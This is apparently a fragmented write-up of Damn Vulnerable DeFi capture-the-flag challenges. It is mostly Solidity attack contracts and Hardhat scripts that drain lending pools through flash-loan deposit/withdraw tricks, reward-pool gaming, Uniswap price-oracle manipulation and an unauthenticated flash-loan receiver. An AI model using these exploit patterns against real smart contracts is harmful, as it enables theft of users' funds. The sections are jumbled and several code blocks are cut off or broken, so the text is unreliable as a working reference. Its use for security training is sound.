Use our deployed contract to send back the token using deposit function.After the flashloan call withdraw function to take our tokens back. Do not forget to set the receive function for receiving tokens. Use _to.call function to send tokens,it is the current recommended method to use.
functionattack(SideEntranceLenderPool pool,address payable player) external { //make a flashloan pool.flashLoan(1000 ether); //get the money pool.withdraw(); //send to palyer (bool sent,) = player.call{value:1000 ether}(""); require(sent, "Failed to send Ether"); }
receive() external payable {} }
Challenge5
The reward pool only count the amount of deposit. We can use flash loan to borrow some DVT token and claim the reward token at the same time.Here goes the code:
functionreceiveFlashLoan(uint256 amount) external{ //do something. //deposit to reward pool //approve amount to the reward pool DVTtoken.approve(address(RewardPool),amount);
RewardPool.deposit(amount);
//claim the rewards RewardPool.distributeRewards();
//withdraw DVTtokens RewardPool.withdraw(amount);
//return back DVT token. DVTtoken.transfer(address(pool),amount);
//send reward token to our player. RdToken.transfer(owner,RdToken.balanceOf(address(this))); }
This challenge is similar to the previous one.Firstly we use flashloan borrow some DVT token.Secondly we use the DVT token make a governance action.Finally two days later we make a executeAction to claim the DVT token to our attack contact and send it to our player.Here goes the entire code:
Therefore, we use swap all our DVT token to ETH and then the number of uniswapPair.balance/token.balanceOf(uniswapPair) goes down.After that happened we can deposit our eth to borrow all the DVT token in lending pool.
//approve DVTtoken to uniswap pool token.approve(uniswapExchange,token.balanceOf(address(this)));
//swap all DVT token to eth in uniswap pool. UniswapExchangeInterface(uniswapExchange).tokenToEthSwapInput(token.balanceOf(address(this)), 1, block.timestamp+5);
//borrow DVT token by depositing eth. pool.borrow{value:address(this).balance}(token.balanceOf(address(pool)),msg.sender); }
There’s a pool with 1000 ETH in balance, offering flash loans. It has a fixed fee of 1 ETH. A user has deployed a contract with 10 ETH in balance. It’s capable of interacting with the pool and receiving flash loans of ETH. Take all ETH out of the user’s contract. If possible, in a single transaction.
The issue here is that the user contract does not authenticate the user to be the owner, so anyone can just take any flash loan on behalf of that contract. We can interact with pool contract directly to drain user’s contract like this:
1 2 3 4
constETH = await pool.ETH(); for (let i = 0; i < 10; i++) { await pool.connect(player).flashLoan(receiver.address, ETH, 0, "0x"); }
Or we can delpoy an attack contract to invoking pool contract:
if (token.balanceOf(address(this)) < balanceBefore) revert RepayFailed();
returntrue; }
Target here means address of the DVT token that we deployed before.Thus we can use this call to approve amount to attacker address.Let's jump into code:
Firstly, we need an abi string about the approve function. Secondly,make a flash loan via pool address. Finally,transfer all amount of pool DVT token to msg.sender(palyer).
hardhat test script
1 2 3 4 5 6
//deploy the attack contract attack = await ( await ethers.getContractFactory("TrusterAttack", player) ).deploy(); //invoke attack contract via player address. await attack.connect(player).attack(pool.address, token.address);